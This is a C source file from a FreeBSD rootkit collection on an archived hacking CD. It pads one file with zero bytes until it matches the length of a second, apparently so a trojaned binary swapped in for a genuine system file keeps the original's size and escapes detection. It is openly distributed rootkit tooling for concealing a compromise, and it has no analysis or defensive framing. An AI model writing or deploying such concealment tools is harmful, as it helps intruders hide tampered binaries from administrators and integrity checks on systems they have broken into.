home *** CD-ROM | disk | FTP | other *** search
/ Power Hacker 2003 / Power_Hacker_2003.iso / E-zine / Magazines / crh / freebsd / rootkit / addlen.c next >
Encoding:
C/C++ Source or Header  |  2002-05-27  |  884 b   |  59 lines

  1. #include <fcntl.h>
  2. #include <unistd.h>
  3. #include <stdio.h>
  4.  
  5. #include "rootkitutil.h"
  6.  
  7. /* 
  8.  * Changes the length of a file by adding filler zero's to the end
  9.  * 
  10.  * by Method
  11.  */
  12.  
  13. main(int argc, char **argv)
  14. {
  15.     int fd;
  16.     long pos1,pos2,diff;
  17.     char *buf;
  18.  
  19.     BASENAME(argv[0]);
  20.  
  21.     if(argc!=3)
  22.         USAGE("original replacement")
  23.  
  24.     if((fd=open(argv[1],O_RDONLY))<0)
  25.         ERR("open")
  26.  
  27.     pos1=lseek(fd,0,SEEK_END);
  28.  
  29.     close(fd);
  30.  
  31.     if((fd=open(argv[2],O_RDONLY))<0)
  32.         ERR("open")
  33.  
  34.     pos2=lseek(fd,0,SEEK_END);
  35.  
  36.     close(fd);
  37.  
  38.     if((diff=pos2-pos1)<=0) {
  39.         fprintf(stderr,"%s: %s is >= than %s, no changes made.\n",RK_PROG,argv[1],argv[2]);
  40.         exit(1);
  41.     }
  42.  
  43.     if((fd=open(argv[1],O_WRONLY|O_APPEND))<0) 
  44.         ERR("open")
  45.  
  46.     lseek(fd,0,SEEK_END);
  47.  
  48.     buf=(char *)malloc(diff);
  49.  
  50.     memset(buf,0x00,diff);
  51.  
  52.     if(write(fd,buf,diff)<0)
  53.         ERR("write")
  54.  
  55.     printf("%s: wrote %d bytes to %s.\n",RK_PROG,diff,argv[1]);
  56.     exit(0);
  57. }
  58.  
  59.